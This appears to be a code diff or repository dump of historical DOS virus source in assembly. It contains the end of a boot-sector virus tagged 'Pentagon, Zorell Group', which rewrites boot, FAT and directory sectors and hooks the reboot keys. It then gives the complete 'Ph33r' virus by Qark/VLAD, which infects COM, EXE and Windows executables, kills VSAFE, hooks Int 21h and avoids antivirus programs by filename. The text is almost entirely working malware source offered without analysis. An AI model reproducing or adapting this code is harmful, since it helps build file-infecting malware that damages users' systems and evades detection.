OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
DEC CX ; Set cluster number back
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW0788,CX ; Save virus track & sector
|
||||
MOV CS:DW078A,DX ; Save virus head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CS:[BP+00],CX ; Save virus track & sector
|
||||
MOV CS:[BP+03],DH ; Save virus head
|
||||
POP BP
|
||||
MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP0368 ; Find an unused FAT entry
|
||||
JNB BP05B7 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW078C,CX ; Save file track & sector
|
||||
MOV CS:DW078E,DX ; Save file head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CS:[BP],CX ; Save track and sector
|
||||
MOV CS:[BP+3],DH ; Save head
|
||||
POP BP
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Length to encrypt
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
|
||||
LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BX,0200H ; Virus second sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,CS:DW0788 ; Get virus track & sector
|
||||
MOV DX,CS:DW078A ; Get virus head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP0613 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0613: MOV AX,3 ; Three sectors to write
|
||||
BP0616: PUSH AX ; Save write count
|
||||
ADD BX,0200H ; Next sector buffer
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement count
|
||||
JNZ BP0616 ; Repeat for each sector
|
||||
JMP BP0631
|
||||
|
||||
BP062D: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write file
|
||||
|
||||
BP0631: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
MOV CX,CS:DW078C ; Get file track & sector
|
||||
MOV DX,CS:DW078E ; Get file head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV BX,1000H ; Address file buffer
|
||||
MOV AX,2 ; Two sectors to write
|
||||
BP065B: PUSH AX ; Save write count
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Address next sector buffer
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement write count
|
||||
JNZ BP065B ; Write each sector
|
||||
MOV BX,OFFSET BP0059 ; Start of encrypted
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt
|
||||
XOR BX,BX ; Address start of virus
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
XOR DH,DH ; Head zero
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP068C ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 1st FAT sector
|
||||
|
||||
BP068C: MOV BX,OFFSET BP0059
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV BX,0A00H ; Address 1st FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06A8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 2nd FAT sector
|
||||
|
||||
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
INC CX ; Next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06B8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Create directory entries
|
||||
|
||||
BP06B8: MOV BX,0E00H ; Address directory
|
||||
MOV CX,5 ; Track zero, sector 5
|
||||
XOR DH,DH ; Head zero
|
||||
MOV AX,7 ; Seven sectors to read
|
||||
BP06C3: PUSH AX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Read from disk
|
||||
JB BP06F1 ; Branch if error
|
||||
POP AX ; \ Retrieve and save read count
|
||||
PUSH AX ; /
|
||||
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
|
||||
CALL BP0401 ; Update directory
|
||||
JNB BP06F5 ; Branch if entry found
|
||||
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
|
||||
JNE BP06EA ; Branch if off
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06EA: POP AX ; Retrieve sector count
|
||||
DEC AX ; Decrement sector count
|
||||
JNZ BP06C3 ; Repeat for each sector
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F1: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F5: POP AX
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06FC: POP DI
|
||||
POP ES
|
||||
POP SI
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
INT 68H ; Disk I/O
|
||||
RETF 2
|
||||
|
||||
; Int 9 routine
|
||||
|
||||
BP0709: PUSH AX
|
||||
PUSH BX
|
||||
PUSH DS
|
||||
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
IN AL,60H ; Get keyboard token
|
||||
MOV BX,OFFSET BB0417 ; Address Key states
|
||||
TEST BYTE PTR [BX],8 ; Alt key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
CMP AL,53H ; Del character token?
|
||||
JNE BP0736 ; Branch if not
|
||||
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
|
||||
XOR AL,AL ; \ ?
|
||||
OUT 60H,AL ; /
|
||||
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
|
||||
BP0736: POP DS
|
||||
POP BX
|
||||
POP AX
|
||||
INT 69H ; Keyboard I/O
|
||||
PUSHF
|
||||
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
|
||||
JNE BP0765 ; Branch if off
|
||||
POPF
|
||||
MOV AX,3 ; Set mode three
|
||||
INT 10H ; VDU I/O
|
||||
CLI
|
||||
MOV AL,0AH ; Repeat delay 10 times
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP074F: LOOP BP074F ; Delay
|
||||
DEC AL ; Decrement delay count
|
||||
JNZ BP074F ; Repeat delay for count
|
||||
CALL BP04A0 ; Generate a sound
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP075A: LOOP BP075A ; Delay
|
||||
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
|
||||
STI
|
||||
INT 19H ; Disk bootstrap
|
||||
|
||||
BP0765: POPF
|
||||
RETF 2
|
||||
|
||||
DB 27 DUP (0)
|
||||
|
||||
DW0784 DW 0064H ; Cluster number of virus
|
||||
DW0786 DW 0066H ; Cluster number of file
|
||||
DW0788 DW 0B02H ; Virus track & sector
|
||||
DW078A DW 0101H ; Virus head and drive
|
||||
DW078C DW 0B06H ; File track and sector
|
||||
DW078E DW 0101H ; File head and drive
|
||||
DB0790 DB 1 ; Device number
|
||||
|
||||
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
|
||||
DB07B1 DB 'Pentagon,ZG'
|
||||
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
|
||||
|
||||
DB07E0 DB 20H ; Infection count
|
||||
DB07E1 DB 0FFH ; Infected by Brain switch
|
||||
DB07E2 DB 0 ; Directory update switch
|
||||
DB07E3 DB 0 ; Reboot switch
|
||||
|
||||
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
|
@ -0,0 +1,828 @@
|
|||
;
|
||||
;
|
||||
; Ph33r
|
||||
;
|
||||
; Qark/VLAD
|
||||
;
|
||||
;
|
||||
;
|
||||
; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
|
||||
; files.
|
||||
; The technology of the Windows infection is superior to 'Winsurfer'
|
||||
; in that the virus goes directly resident, without having to mess around
|
||||
; infecting the Windows 'shell'. The Windows entry of the virus allocates
|
||||
; memory, points a selector to it, copies the virus into the space and
|
||||
; sets interrupt 21h to the resident virus. By careful programming it was
|
||||
; possible to make both the DOS and Win interrupt handlers share the same
|
||||
; code.
|
||||
;
|
||||
; The virus does a few interesting things:
|
||||
; Disables MSAV by turning it off (DOS)
|
||||
; Gets the original Int 21h using DOSSEG:109Eh (DOS)
|
||||
; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
|
||||
;
|
||||
; A few annoying things:
|
||||
; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
|
||||
; If the virus infects WIN386.EXE Windows crashes on load.
|
||||
; These have both been fixed, by removal.
|
||||
;
|
||||
; For some unknown reason, the virus causes Debug to crash on exit.
|
||||
; I haven't fixed this, because I figure anyone who uses Debug will spot
|
||||
; the virus anyway. Besides which, I haven't got a clue why it's happening :)
|
||||
;
|
||||
; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
|
||||
; heuristically.
|
||||
;
|
||||
|
||||
org 0
|
||||
|
||||
com_entry: ;COM files begin execution here.
|
||||
call exec_start
|
||||
push es
|
||||
pop ds
|
||||
|
||||
;COM file exit.
|
||||
|
||||
mov di,100h
|
||||
push di
|
||||
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
old2 dw 20cdh
|
||||
stosw
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
old4 dw 0
|
||||
stosw
|
||||
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
ret
|
||||
|
||||
exe_entry: ;EXE files begin execution here.
|
||||
call exec_start
|
||||
push es
|
||||
pop ds
|
||||
|
||||
;Setup ss:sp
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
db 5 ;ADD AX,xxxx
|
||||
old_ss dw 0
|
||||
mov ss,ax
|
||||
db 0bch ;MOV SP,xxxx
|
||||
old_sp dw 0
|
||||
|
||||
;setup the return
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
db 5 ;ADD AX,xxxx
|
||||
exe_cs dw 0
|
||||
push ax
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
exe_ip dw 0
|
||||
push ax
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
retf
|
||||
|
||||
Exec_Start:
|
||||
|
||||
cld
|
||||
mov ax,51ffh ;Test resident.
|
||||
int 21h
|
||||
cmp ax,0ff51h
|
||||
je exit_virus
|
||||
|
||||
mov ax,0fa02h ;Kill VSAFE.
|
||||
mov dx,5945h ;Every DOS6+ user has a copy of this.
|
||||
xor bl,bl
|
||||
int 16h
|
||||
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ;MCB seg in DS.
|
||||
xor di,di
|
||||
cmp byte ptr [di],'Y' ;Z block ?
|
||||
ja allocate
|
||||
exit_virus:
|
||||
ret
|
||||
allocate:
|
||||
sub word ptr [di+3],(offset virus_size*2/16)+1
|
||||
sub word ptr [di+12h],(offset virus_size*2/16)+1
|
||||
mov ax,word ptr [di+12h]
|
||||
|
||||
push es
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,offset virus_size
|
||||
|
||||
;Get delta offset in SI
|
||||
call next
|
||||
next:
|
||||
pop si
|
||||
sub si,offset next
|
||||
|
||||
;Move virus to free memory.
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;DS=CX=0 from REP MOVSB
|
||||
|
||||
;Set int21h
|
||||
mov si,21h*4
|
||||
mov di,offset i21
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop si
|
||||
mov di,offset orig21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr [si-4],offset int21handler
|
||||
mov word ptr [si-2],es
|
||||
|
||||
push es
|
||||
mov ah,52h ;Thanx Neurobasher!
|
||||
int 21h
|
||||
mov ax,es
|
||||
pop es
|
||||
mov ds,ax
|
||||
|
||||
mov si,109eh ;DS:109Eh = Original Int 21 I hope.
|
||||
lodsw
|
||||
cmp ax,9090h
|
||||
jne reset21
|
||||
lodsb
|
||||
cmp al,0e8h
|
||||
jne reset21
|
||||
mov word ptr es:orig21,10a0h
|
||||
mov word ptr es:orig21+2,ds
|
||||
reset21:
|
||||
pop es
|
||||
ret
|
||||
|
||||
db '=Ph33r='
|
||||
|
||||
win21: ;Windows interrupt handling begins here.
|
||||
cmp ax,51feh
|
||||
jne non_w_res
|
||||
xchg al,ah
|
||||
iret
|
||||
non_w_res:
|
||||
cmp ax,4b00h ;Execute.
|
||||
je check_infect
|
||||
cmp ah,3dh ;File Open.
|
||||
je check_infect
|
||||
cmp ah,56h ;Rename.
|
||||
je check_infect
|
||||
cmp ah,43h ;Chmod.
|
||||
jne int_exit
|
||||
|
||||
check_infect:
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,0ah ;This function makes our CS writable.
|
||||
mov bx,cs
|
||||
int 31h
|
||||
mov es,ax
|
||||
|
||||
call setup_infect
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
popf
|
||||
|
||||
jmp int_exit
|
||||
|
||||
int21handler: ;DOS interrupt handling begins here.
|
||||
cmp ax,51ffh
|
||||
jne non_res
|
||||
xchg al,ah
|
||||
iret
|
||||
|
||||
db 'Qark/VLAD'
|
||||
|
||||
non_res:
|
||||
;For some reason, checking for AH=3dh crashes windows when its booting.
|
||||
|
||||
cmp ax,4b00h ;Execute.
|
||||
je do_file
|
||||
cmp ah,6ch ;Open.
|
||||
je do_file
|
||||
cmp ah,56h ;Rename.
|
||||
je do_file
|
||||
cmp ah,43h ;Chmod.
|
||||
je do_file
|
||||
|
||||
int_exit:
|
||||
db 0eah
|
||||
i21 dd 0
|
||||
|
||||
do_file:
|
||||
push es
|
||||
push dx
|
||||
cmp ah,6ch
|
||||
jne no_6c_fix
|
||||
mov dx,si
|
||||
no_6c_fix:
|
||||
push cs
|
||||
pop es
|
||||
call setup_infect
|
||||
pop dx
|
||||
pop es
|
||||
|
||||
jmp int_exit
|
||||
|
||||
setup_infect:
|
||||
;on entry to this call, es=writable cs
|
||||
;ds:dx=filename
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
cld
|
||||
mov si,dx
|
||||
asciiz:
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne asciiz
|
||||
sub si,4
|
||||
lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'xe' ;EXE
|
||||
je do_inf
|
||||
cmp ax,'ld' ;DLL
|
||||
je do_inf
|
||||
cmp ax,'oc' ;COM
|
||||
jne not_name
|
||||
do_inf:
|
||||
cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
|
||||
je not_name
|
||||
mov ax,word ptr [si-5]
|
||||
or ax,2020h ;Lowercase.
|
||||
cmp ax,'va' ;Don't touch files that end in AV
|
||||
je not_name ;eg TBAV
|
||||
cmp ax,'vd' ;DV.COM checks DV.EXE
|
||||
je not_name
|
||||
cmp ax,'na' ;Don't touch files that end in AN
|
||||
je not_name ;eg SCAN, TBSCAN
|
||||
cmp ax,'to' ;Don't touch files that end in OT
|
||||
je not_name ;eg F-PROT
|
||||
|
||||
call infect
|
||||
not_name:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
ret
|
||||
|
||||
Infect:
|
||||
;DS:DX=Filename, ES=our data segment
|
||||
cld
|
||||
mov ax,3d02h ;Open file to be infected.
|
||||
call int21h
|
||||
jnc file_opened
|
||||
ret
|
||||
file_opened:
|
||||
xchg bx,ax ;File handle into BX.
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ah,3fh ;Read from file.
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
mov si,offset virus_size
|
||||
|
||||
mov ax,word ptr [si]
|
||||
or ax,2020h
|
||||
cmp ax,'zm' ;Test for EXE header
|
||||
je check_exe
|
||||
jmp com_infect
|
||||
check_exe:
|
||||
cmp word ptr [si+12h],0afafh ;Infection marker.
|
||||
jne not_infected
|
||||
bad_mem:
|
||||
jmp com_end
|
||||
not_infected:
|
||||
cmp word ptr [si+18h],40h ;Windows executable.
|
||||
jb exe_infect
|
||||
jmp windows_infect
|
||||
exe_infect:
|
||||
cmp word ptr [si+0ch],-1 ;Maxmem = All
|
||||
jne bad_mem
|
||||
|
||||
call lseek_end ;Get file length in DX:AX
|
||||
or dx,dx
|
||||
jnz ok_exe_size
|
||||
cmp ax,1000
|
||||
jb bad_mem
|
||||
ok_exe_size:
|
||||
mov cx,512
|
||||
div cx
|
||||
inc ax
|
||||
cmp [si+4],ax ;Check for overlays.
|
||||
ja bad_mem
|
||||
|
||||
mov ax,word ptr [si+0eh] ;Save the original SS:SP
|
||||
mov word ptr old_ss,ax
|
||||
mov ax,word ptr [si+10h]
|
||||
mov word ptr old_sp,ax
|
||||
|
||||
mov ax,word ptr [si+14h] ;Save the original CS:IP
|
||||
mov word ptr exe_ip,ax
|
||||
mov ax,word ptr [si+16h]
|
||||
mov word ptr exe_cs,ax
|
||||
|
||||
call lseek_end
|
||||
mov cx,16
|
||||
div cx
|
||||
|
||||
sub ax,word ptr [si+8]
|
||||
add dx,offset exe_entry
|
||||
mov word ptr [si+14h],dx ;New IP
|
||||
mov word ptr [si+16h],ax ;New CS
|
||||
|
||||
dec ax
|
||||
mov word ptr [si+0eh],ax
|
||||
add dx,1500
|
||||
and dx,0fffeh
|
||||
mov word ptr [si+10h],dx
|
||||
|
||||
call save_time
|
||||
|
||||
mov cx,offset virus_size
|
||||
mov ah,40h
|
||||
xor dx,dx
|
||||
call int21h
|
||||
|
||||
call lseek_end
|
||||
|
||||
mov cx,512
|
||||
div cx
|
||||
or dx,dx
|
||||
jz no_page_fix
|
||||
inc ax
|
||||
no_page_fix:
|
||||
mov word ptr [si+4],ax
|
||||
mov word ptr [si+2],dx
|
||||
call lseek_start
|
||||
|
||||
mov word ptr [si+12h],0afafh ;Set infection marker.
|
||||
mov ah,40h
|
||||
mov dx,si
|
||||
mov cx,1ch
|
||||
call int21h
|
||||
|
||||
call restore_time
|
||||
|
||||
jmp com_end
|
||||
|
||||
com_infect:
|
||||
cmp byte ptr [si+3],0afh ;Com infection marker.
|
||||
je com_end
|
||||
|
||||
;Save first four com file bytes.
|
||||
mov di,offset old2
|
||||
movsw
|
||||
mov di,offset old4
|
||||
movsw
|
||||
|
||||
mov ax,4202h ;Lseek to file end.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
or dx,dx ;Check if > 64k
|
||||
jnz com_end
|
||||
cmp ax,60000 ;Check if > 60000
|
||||
ja com_end
|
||||
cmp ax,1024
|
||||
jb com_end
|
||||
|
||||
sub ax,3
|
||||
mov word ptr com_jmp+1,ax
|
||||
|
||||
call save_time
|
||||
|
||||
mov ah,40h ;Write virus body to file.
|
||||
mov cx,offset virus_size
|
||||
xor dx,dx
|
||||
call int21h
|
||||
jc com_end
|
||||
|
||||
mov ax,4200h ;Lseek to file start.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write jump to start of file.
|
||||
mov cx,4
|
||||
mov dx,offset com_jmp
|
||||
call int21h
|
||||
|
||||
com_time_end:
|
||||
call restore_time
|
||||
|
||||
com_end:
|
||||
mov ah,3eh ;Close file.
|
||||
call int21h
|
||||
|
||||
ret
|
||||
|
||||
windows_infect:
|
||||
|
||||
;Move the Newexe pointer forward.
|
||||
push word ptr [si+3ch]
|
||||
pop word ptr newexe_off
|
||||
|
||||
sub word ptr [si+3ch],8
|
||||
cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
|
||||
jne com_end
|
||||
|
||||
mov word ptr [si+12h],0afafh ;Set infection marker.
|
||||
|
||||
;Lseek back to start of the file.
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
call save_time
|
||||
|
||||
;Write header back.
|
||||
mov ah,40h
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
jc com_end
|
||||
|
||||
;Lseek to new exe header
|
||||
mov ax,4200h
|
||||
mov dx,word ptr newexe_off
|
||||
xor cx,cx
|
||||
call int21h
|
||||
|
||||
;Read in new exe header
|
||||
mov ah,3fh
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
;Adjust header pointers
|
||||
mov ax,word ptr [si+22h] ;AX=Segment table offset.
|
||||
cmp word ptr [si+4],ax
|
||||
jb ok_et
|
||||
add word ptr [si+4],8
|
||||
ok_et:
|
||||
cmp word ptr [si+24h],ax
|
||||
jb ok_rt
|
||||
add word ptr [si+24h],8
|
||||
ok_rt:
|
||||
cmp word ptr [si+26h],ax
|
||||
jb ok_rnt
|
||||
add word ptr [si+26h],8
|
||||
ok_rnt:
|
||||
cmp word ptr [si+28h],ax
|
||||
jb ok_mrt
|
||||
add word ptr [si+28h],8
|
||||
ok_mrt:
|
||||
cmp word ptr [si+2ah],ax
|
||||
jb ok_int
|
||||
add word ptr [si+2ah],8
|
||||
ok_int:
|
||||
mov ax,word ptr [si+1ch]
|
||||
inc word ptr [si+1ch] ;Increase segment count.
|
||||
xor dx,dx
|
||||
mov cx,8
|
||||
mul cx
|
||||
|
||||
add ax,word ptr [si+22h] ;AX=Offset of segment table end.
|
||||
adc dx,0
|
||||
mov cx,512 ;512 byte portions are used
|
||||
; for the reads later on.
|
||||
div cx
|
||||
|
||||
mov word ptr ne_size,ax
|
||||
mov word ptr last_ne,dx
|
||||
|
||||
;Put the original CS:IP into our relocation table.
|
||||
push word ptr [si+14h]
|
||||
pop word ptr old_ip
|
||||
push word ptr [si+16h]
|
||||
pop word ptr old_cs
|
||||
|
||||
;Save the alignment shift count because we need that for calculating
|
||||
;the offset of our segment when writing the segment entry.
|
||||
push word ptr [si+32h]
|
||||
pop word ptr al_shift
|
||||
|
||||
;Point CS:IP to the virus.
|
||||
mov word ptr [si+14h],offset win_entry ;The new IP
|
||||
mov ax,word ptr [si+1ch]
|
||||
mov word ptr [si+16h],ax ;The new CS
|
||||
|
||||
;Initialise the lseek variable
|
||||
push word ptr newexe_off
|
||||
pop word ptr lseek
|
||||
|
||||
;The below code gets the NE header and keeps moving it forward by
|
||||
;eight bytes in 512 byte chunks.
|
||||
move_header_forward:
|
||||
mov ax,word ptr ne_size
|
||||
or ax,ax
|
||||
jz last_page
|
||||
|
||||
dec word ptr ne_size
|
||||
|
||||
mov ax,4200h ;Lseek to our current position.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
sub dx,8
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write the header section out.
|
||||
mov cx,512
|
||||
mov dx,si
|
||||
call int21h
|
||||
|
||||
add word ptr lseek,512
|
||||
|
||||
mov ax,4200h ;Lseek to the next chunk.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
call int21h
|
||||
|
||||
mov ah,3fh ;Read it.
|
||||
mov dx,offset virus_size
|
||||
mov cx,512
|
||||
call int21h
|
||||
|
||||
jmp move_header_forward
|
||||
|
||||
last_page:
|
||||
mov ax,4202h ;Lseek to end of file.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h ;File length into DX:AX
|
||||
|
||||
;DX:AX=File offset of our segment
|
||||
;Below section shifts the segment offset right by the alignment
|
||||
;shift value.
|
||||
mov cl,byte ptr al_shift
|
||||
push bx
|
||||
mov bx,1
|
||||
shl bx,cl
|
||||
mov cx,bx
|
||||
pop bx
|
||||
div cx
|
||||
|
||||
mov word ptr lseek_add,0
|
||||
or dx,dx
|
||||
jz no_extra
|
||||
sub cx,dx
|
||||
mov word ptr lseek_add,cx
|
||||
inc ax
|
||||
no_extra:
|
||||
mov di,si
|
||||
add di,word ptr last_ne
|
||||
|
||||
;Adding the new segment table entry
|
||||
mov word ptr [di],ax ;Segment offset
|
||||
mov word ptr [di+2],offset virus_size
|
||||
mov word ptr [di+4],180h ;Segment attribute
|
||||
; 180h = NonMovable + Relocations
|
||||
mov word ptr [di+6],offset virus_size+512
|
||||
|
||||
mov ax,4200h ;Lseek to next position.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
sub dx,8
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write rest of NE header + new seg entry.
|
||||
mov cx,word ptr last_ne
|
||||
add cx,8 ;Added segment entry means eight more.
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
;Reset the relocatable pointer.
|
||||
push word ptr winip
|
||||
push word ptr wincs
|
||||
mov word ptr winip,0
|
||||
mov word ptr wincs,0ffffh
|
||||
|
||||
mov ax,4202h ;Lseek to end of file.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek_add
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write main virus body.
|
||||
mov cx,offset virus_size
|
||||
xor dx,dx
|
||||
call int21h
|
||||
|
||||
pop word ptr wincs
|
||||
pop word ptr winip
|
||||
|
||||
mov ah,40h ;Write the relocation item.
|
||||
mov cx,offset reloc_end - offset relocblk
|
||||
mov dx,offset relocblk
|
||||
call int21h
|
||||
|
||||
jmp com_time_end
|
||||
|
||||
int21h: ;Simulated int 21 call.
|
||||
pushf
|
||||
call dword ptr cs:orig21
|
||||
ret
|
||||
orig21 dd 0
|
||||
|
||||
win_entry: ;WinEXE files begin execution here.
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,51feh ;Residency test.
|
||||
int 21h
|
||||
cmp ax,0ff51h
|
||||
je no_wintsr
|
||||
|
||||
mov ax,000ah ;Make CS writable.
|
||||
mov bx,cs
|
||||
int 31h ;Use DPMI.
|
||||
mov ds,ax
|
||||
|
||||
mov ax,0204h ;Get real mode interrupt vector.
|
||||
mov bl,21h
|
||||
int 31h
|
||||
|
||||
mov word ptr i21,dx ;Save int21
|
||||
mov word ptr i21+2,cx
|
||||
|
||||
mov word ptr orig21,dx
|
||||
mov word ptr orig21+2,cx
|
||||
|
||||
mov ax,501h
|
||||
xor bx,bx ;Allocate Linear region
|
||||
mov cx,offset v_mem_size
|
||||
int 31h
|
||||
|
||||
push bx
|
||||
push cx
|
||||
|
||||
xor ax,ax
|
||||
mov cx,1 ;Create a Selector
|
||||
int 31h
|
||||
|
||||
mov bx,ax
|
||||
mov ax,7
|
||||
pop dx ;Point selector to linear region.
|
||||
pop cx
|
||||
int 31h
|
||||
|
||||
mov ax,8
|
||||
xor cx,cx ;Set selector limit
|
||||
mov dx,offset v_mem_size
|
||||
int 31h
|
||||
|
||||
mov es,bx
|
||||
mov cx,offset v_mem_size
|
||||
xor si,si ;Copy virus to the linear region
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov bx,es
|
||||
mov ax,9 ;Set access rights to 'Code'
|
||||
mov cx,0ffh
|
||||
int 31h
|
||||
|
||||
mov cx,es
|
||||
mov dx,offset win21
|
||||
mov ax,205h
|
||||
mov bl,21h
|
||||
int 31h ;Set real mode interrupt vector.
|
||||
|
||||
mov ax,4
|
||||
push es
|
||||
pop bx ;Lock the selector
|
||||
int 31h
|
||||
|
||||
no_wintsr:
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
|
||||
db 0eah ;Return to original file.
|
||||
winip dw 0
|
||||
wincs dw 0ffffh
|
||||
|
||||
;-----------------------
|
||||
;Infection Procedures
|
||||
;-----------------------
|
||||
Save_Time:
|
||||
push ax
